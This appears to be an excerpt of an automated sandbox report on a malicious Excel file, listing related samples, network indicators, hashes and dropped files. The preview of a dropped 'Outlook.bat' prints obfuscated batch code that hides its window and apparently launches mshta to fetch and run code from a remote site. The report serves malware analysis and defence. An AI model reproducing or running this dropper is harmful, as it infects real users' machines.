                                                                                      ANFRAGE AUFTRAGSBEST#U00c4TIGUNG.exeGet hashmaliciousBrowse
                                                                                      • 162.159.134.233
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.10.207
                                                                                      RECHNUNG99787383.exeGet hashmaliciousBrowse
                                                                                      • 1.1.1.1
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.24514.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.11.207
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.10.207
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.32268.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.10.207
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.10.207
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.12724.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.11.207
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.8245.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.11.207
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.13096.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.11.207
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.5932.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.11.207
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.11.207
                                                                                      00187679526.xlsxGet hashmaliciousBrowse
                                                                                      • 172.67.74.85
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.10.207
                                                                                      00187679526.xlsxGet hashmaliciousBrowse
                                                                                      • 172.67.74.85
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.10.207
                                                                                      SecuriteInfo.com.Trojan7000000f1.4274.exeGet hashmaliciousBrowse
                                                                                      • 162.159.129.233
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.32408.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.11.207
                                                                                      SWIFT COPY & ADVICE.vbsGet hashmaliciousBrowse
                                                                                      • 188.114.97.3

                                                                                      JA3 Fingerprints

                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                      37f463bf4616ecd445d4a1937da06e19TRmUXzoTr4.exeGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      vFb25fV9r8.exeGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      Zdgmvfcqtfvafchobtmhsprgqnvazumhuq.exeGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      ANFRAGE AUFTRAGSBEST#U00c4TIGUNG.exeGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      Order 90541#.docxGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      SecuriteInfo.com.W32.AIDetect.malware2.21733.exeGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      00187679526.xlsxGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      SecuriteInfo.com.Trojan7000000f1.4274.exeGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      DHL_227040 al#U0131nd#U0131 belgesi,pdf.exeGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      cs.batGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      VThQPDycxy.batGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      NextEra RFQ and Business Proposition.docxGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      92D5A9E906556A206749301D8CDEC4032B9FA5A8A30A8.exeGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      https://siasky.net/KAAceK5527HyhKBu2WqRItTIifnOrPzVEjPuMqlXUlKRBQGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      FgHKF9V3FB.exeGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      https://issuu.com/file.pdf_17kb/docs/faxmail_delivery_hs0087g?fr=sY2E1MzUyODMyOTYGet hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      https://www.almarwahtanksuae.com/nu/#cm9kbmV5QHNraW1heC5jb20uYXU=Get hashmaliciousBrowse
                                                                                      • 142.250.181.238
                                                                                      https://docs.google.com/presentation/d/e/2PACX-1vSU_FEiyu-gmac-VPaEaXqUbNKvs22dLZy1uvbXhZYw8a3d3_sqDueNGVBLuw4IT9UbtShAJmxz4Pt-/pub?start=false&loop=false&delayms=3000Get hashmaliciousBrowse
                                                                                      • 142.250.181.238

                                                                                      Dropped Files

                                                                                      ⊘No context

                                                                                      Created / dropped Files

                                                                                      C:\Users\Public\Outlook.bat

                                                                                      Download File
                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                      File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):1126
                                                                                      Entropy (8bit):4.492674933696318
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:sj4MyluZiolTQP64K6o80dGo3ahMowo4oM2ocnhg:sj4R8
                                                                                      MD5:20484F4A7D41C5F54A0DC7A7D35C2155
                                                                                      SHA1:0B197C48D648BBDC131DCA6D4FB89903303372F9
                                                                                      SHA-256:6DF10DD726CEF49360DF78C47651A311EA7BB21064FE77E019E223EF32776072
                                                                                      SHA-512:94DF430C3890D5BA23618283EA6EAA6AA0C74D19C5E049F3CC4D65A464266CCC2EEFCCDB59D6464606200B2E51CDC9B57C2534C67ADED228D00A54D856C98591
                                                                                      Malicious:true
                                                                                      Preview:call getCmdPid.bat..set PID=%errorlevel%..call windowMode.bat -pid %PID% -mode hidden..cd C:\Users\Public..@echo off..Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D..cls..%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,

                                                                                      C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\TTIOLYVA\facextrade.com[1].xml

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with no line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):13
                                                                                      Entropy (8bit):2.469670487371862
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:D90aKb:JFKb
                                                                                      MD5:C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
                                                                                      SHA1:35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
                                                                                      SHA-256:B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
                                                                                      SHA-512:6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
                                                                                      Malicious:false
                                                                                      Preview:<root></root>

                                                                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\B16A525F-3CD4-4D75-9102-9C1BBE18B5D5

                                                                                      Download File
                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                      File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):148061
                                                                                      Entropy (8bit):5.358152973337163
                                                                                      Encrypted:false
                                                                                      SSDEEP:1536:+cQW/gxgB5BQguwN/Q9DQe+zQTk4F77nXmvid3XxVETLKz61:h1Q9DQe+zuXYr
                                                                                      MD5:4B772490375AE73DD280B4DFCC595487
                                                                                      SHA1:6A7E39750E772F66E740664D6307BBB0C9C519D4
                                                                                      SHA-256:09530478B85D8EC1FAE764B4C33B2B28AB4A8B687316F5E568A175CCDF0113AD
                                                                                      SHA-512:FEA72D59599D86701E5A40AAA29E03A930F4B6F50E9F39C7419D7C7428D9CC954D06AC4386CB161EB504E1B02DEB0950E80557E09250B79150DD9D326F555ACB
                                                                                      Malicious:false
                                                                                      Preview:<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2022-08-16T09:39:11">.. Build: 16.0.15607.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3235D3F3.tmp

                                                                                      Download File
                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                      File Type:Composite Document File V2 Document, Cannot read section info
                                                                                      Category:dropped
                                                                                      Size (bytes):1536
                                                                                      Entropy (8bit):1.1464700112623651
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
                                                                                      MD5:72F5C05B7EA8DD6059BF59F50B22DF33
                                                                                      SHA1:D5AF52E129E15E3A34772806F6C5FBF132E7408E
                                                                                      SHA-256:1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
                                                                                      SHA-512:6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
                                                                                      Malicious:false
                                                                                      Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\bootstrap[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):107397
                                                                                      Entropy (8bit):5.243343101333427
                                                                                      Encrypted:false
                                                                                      SSDEEP:768:+coRowFmqeuii6OZLzAX+cSXgx7fLLgkhB5aErf:JoZ5vLPXgx7ngkjd
                                                                                      MD5:FE45C97743C9CAEC6809D9F740D52D3E
                                                                                      SHA1:CB69497E1935DE69862E92400478B75CD13E23BD
                                                                                      SHA-256:55225FFA7E115D65C7E0F7A602A59CF5EE1D2F3C873F88381375A550B1B6B548
                                                                                      SHA-512:9D36A695AD9DF51C63E820184DBD320D4B05700598F7CAC344C182F3D340FF20027C877BFA6F0FAE6EF717F236A6B5E4BF22286787B337D0F0B47F2BDD79693B
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
                                                                                      Preview:article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }.audio, canvas, video {..display:inline-block;..*display:inline;..*zoom:1;.}.audio:not([controls]) { display:none; }.html {..font-size:100%;..-webkit-text-size-adjust:100%;..-ms-text-size-adjust:100%;.}.a:focus {..outline:thin dotted #333;..outline:5px auto -webkit-focus-ring-color;..outline-offset:-2px;.}.a:hover, a:active { outline:0; }.sub, sup {..position:relative;..font-size:75%;..line-height:0;..vertical-align:baseline;.}.sup { top:-0.5em; }.sub { bottom:-0.25em; }.img {..max-width:100%;..width:auto \9;..height:auto;..vertical-align:middle;..border:0;..-ms-interpolation-mode:bicubic;.}.#map_canvas img, .google-maps img { max-width:none; }.button, input, select, textarea {..margin:0;..font-size:100%;..vertical-align:middle;.}.button, input {..*overflow:visible;..line-height:normal;.}.button::-moz-focus-inner, input::-moz-focus-inner {..padding:0;..border:0;.}.button, html input[type

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\cherry-plugin[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):31422
                                                                                      Entropy (8bit):5.000880526077528
                                                                                      Encrypted:false
                                                                                      SSDEEP:768:TFGFeFRavlJesa3UrJB2ZJFqxF1lFGFesjFXF643F933gVFAMF9J:TIEra9gsa3UrJB2ZJMzlIEsjhEoL33U1
                                                                                      MD5:8ADC9563E564E9A3DE844DF686CAE8A5
                                                                                      SHA1:B97B5FCAD7BEA9E7D88B0462AAA9D3D24376C3E8
                                                                                      SHA-256:B04E93D31D6325159B13956EA9CF31A8B1DB7A02AFD91E781609ADFA651AEF18
                                                                                      SHA-512:C4406AFE68209188474D5960A5DB5E9769E001C648D8B70C9204A3FB6EA7D4F161CD5FA2D349024F7B9F5E9AD145E51A91DD285CE062742CBA29A106C68D03C8
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
                                                                                      Preview:/* #Shortcodes.================================================== */./* Recent Posts Shortcodes.---------------------------------------- */..recent-posts {. overflow: hidden;. margin: 0 0 0 -20px !important;. padding: 0;. border: none;. list-style: none;. /* Images Format Type */. /* Quote Format Type */. /* Link Format Type */. /* Audio Format Type */. /* Video Format Type */.}..recent-posts_li {. margin: 0 0 20px 20px;. padding: 0;. border: none;. background: none;. list-style-type: none;.}..recent-posts_li .featured-thumbnail {. float: left;. margin: 0 20px 0 0;.}..recent-posts_li h5 {. margin-bottom: 0;. font-size: 1em;.}..recent-posts_li .excerpt {. margin-bottom: 1.5em;.}..recent-posts_li .meta {. display: block;. overflow: hidden;. margin-bottom: .5em;. color: #888;. text-transform: uppercase;. font-size: 10px;.}..recent-posts_li .post-date {. float: left;.}..recent-posts_li .post-comments {. float: right;.}..recent-posts .format-image {. float: left

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\cherry-plugin[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):1789
                                                                                      Entropy (8bit):5.215043597951395
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:kMcpLsRsdpOIi0hwrtpsDrzdVv6I8ixCYk4f440T8BuP9n:e/+0AOrzdVvQqXwNp9n
                                                                                      MD5:E7694C9876A74D8AF4840B08D8CC4364
                                                                                      SHA1:3A301C6DFB6B691B0453CEB4A1065BD7C2A5BD8A
                                                                                      SHA-256:9E806234DF297746D665A8E76B129BF708E4470D7A50FEF5905D306176BEA1C1
                                                                                      SHA-512:12F2867F5D91CCD42F3893884BB5BDD1F25AE7024B7CEED9CBF108498EFA374B186C38209A6A0468A88D8A12C1F758E25FE5A081B76588A0BAED4B3A26EDEF51
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
                                                                                      Preview:jQuery(document).ready(function(){..// OWL Carousel init...cherryPluginCarouselInit();...// Full-width block with left-right paddings...jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');..jQuery(window).resize( function(){...contenBoxResizeFunction();..});...contenBoxResizeFunction();..function contenBoxResizeFunction(){...var width_of_viewport = jQuery(window).width(),....half_width_of_viewport = width_of_viewport / 2,....width_of_container = jQuery('.content-holder > .container').width();....jQuery('.content_box.full-width').width(width_of_container);...jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});...jQuery('.full-block-wrap').width(width_of_container);..}.});..function cherryPluginCarouselInit() {..jQuery('div[id^="owl-carousel-"]').each(function(){...var carousel = jQuery(this),....auto_play = parseInt(carousel.attr('

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\css[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):154
                                                                                      Entropy (8bit):5.123661053174663
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFU/w7fqzNsqcdjKI9tB8gfKRfvYvn:0IFFN+56ZP7izNspdP9D8LAv
                                                                                      MD5:B3F631391C5184932BA0D5AE887A2924
                                                                                      SHA1:EC95EEB6AEC69F4EC64F20D53B807802716468CD
                                                                                      SHA-256:2E3EDCE076C67951659C01C1A4B07592E6E9FF327D2C89EE660BBF47E2887D9F
                                                                                      SHA-512:B840688F47BE36DD829F1473FB47E0703519968705D0324C62A3D081E557E8F5DC44F6EC7A2148A5B7567EA9800B171FA9F70E198E1948EE6E3006360D3FAD92
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.googleapis.com/css?family=Lato:100
                                                                                      Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 100;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);.}.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\css[2].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):156
                                                                                      Entropy (8bit):5.1208073656474
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFWYhfqzNsqcdjKIsfn6vYvn:0IFFN+56ZzhizNspdPsyAv
                                                                                      MD5:F123470D54A5D2FFAADD149D5AD1AAB0
                                                                                      SHA1:3C2F20E79789430AA00C6D7905C3CBF5C397F9A4
                                                                                      SHA-256:9E9E61C05174FAB73421B450A65AB5882D2953DA2BC4501212CAE8F3C53B358C
                                                                                      SHA-512:2ABF321BFFD8233E19D8BB5FFE9FF5D93E1C9E41B0AF63067CC2DA13DFCD80176D3D9D6762D5D36CBE379B5DC122A24A8B190CE6ACDAD5C3CE3D4F754FB58CF0
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.googleapis.com/css?family=Lato:300
                                                                                      Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 300;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);.}.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\css[3].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):152
                                                                                      Entropy (8bit):5.082226381168297
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
                                                                                      MD5:2BC56AB743AAE5AAC9AAC55D0850AAC5
                                                                                      SHA1:BFB989317C6BAAE1BAD28B90D9535B19BE847827
                                                                                      SHA-256:5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
                                                                                      SHA-512:FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.googleapis.com/css?family=Lato:400
                                                                                      Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\css[4].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):156
                                                                                      Entropy (8bit):5.138466900917678
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFS/w7fqzNsqcdjKIsk2SU6vYvn:0IFFN+56ZN7izNspdPsk2SU6Av
                                                                                      MD5:61D55D02CF44B8A326A1504988A4955C
                                                                                      SHA1:1641427E2A855C452FF71C3DD8014419376A30AD
                                                                                      SHA-256:313F45400B50542F391871B43C708EADBDB23BFD4549EB8017A7192351FC41E4
                                                                                      SHA-512:E8C3F9EEB19793334FDBF6CDE1731F09900F5BC20FAF3A1B6F76B796FCACB31324109280489923EBB66BEDEE242A6CD8B6654D80D95D9F523EC12CF633816127
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.googleapis.com/css?family=Lato:700
                                                                                      Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 700;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);.}.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\css[5].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):156
                                                                                      Entropy (8bit):5.133627878467913
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFcYFTfqzNsqcdjKIsWg6vYvn:0IFFN+56Z1FTizNspdPsWg6Av
                                                                                      MD5:BC9F29EE3D832A38F914975FD3C14848
                                                                                      SHA1:970307BD837AB5B3380A1BAE698091F2E080F5E3
                                                                                      SHA-256:EE49572B06F53A4EA8DB5798B07507AA2D3E535FF443C27AE315177B0164FF42
                                                                                      SHA-512:EBFADAD58232A738039F1D75523E3CB36928E4E2846A60CCA8B66AC7820666F7A6523AAF2622CD05B3102DCA4F61BAAA4EC7001C8A5D8D7B0D340E4976456370
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.googleapis.com/css?family=Lato:900
                                                                                      Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 900;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);.}.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\error[1]

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):1706
                                                                                      Entropy (8bit):5.274543201400288
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
                                                                                      MD5:B9BEC45642FF7A2588DC6CB4131EA833
                                                                                      SHA1:4D150A53276C9B72457AE35320187A3C45F2F021
                                                                                      SHA-256:B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
                                                                                      SHA-512:C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
                                                                                      Malicious:false
                                                                                      Preview:...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\error[2]

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):3247
                                                                                      Entropy (8bit):5.459946526910292
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
                                                                                      MD5:16AA7C3BEBF9C1B84C9EE07666E3207F
                                                                                      SHA1:BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
                                                                                      SHA-256:7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
                                                                                      SHA-512:245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
                                                                                      Malicious:false
                                                                                      IE Cache URL:res://ieframe.dll/error.dlg
                                                                                      Preview:...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\jquery.easing.1.3[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):3300
                                                                                      Entropy (8bit):5.21640221299254
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:daBwwfAxMF8qm9FUAm1Cal7yS06jfkOA/W50UdDiAAlZd:sO2AxMF8qm9Wdcal7yS06jfkOGW50Ud6
                                                                                      MD5:3720B3CCB887382D0716A49CC52D7901
                                                                                      SHA1:AEB99C65DFE7E6BA2931AFD762E53579FE372CCD
                                                                                      SHA-256:605B6FE57753665BD450CCC691B2B32EB508F05D8CB9BD3747D8F37C808990B1
                                                                                      SHA-512:B7F89F83B51132C5D66E59FEC1DA6793638360B6691151C54D9799E0B58FB2D9E722A48E3014520628EC0771C2BB9703CFE9676DADE5E9F9BA010C62701CCC44
                                                                                      Malicious:false
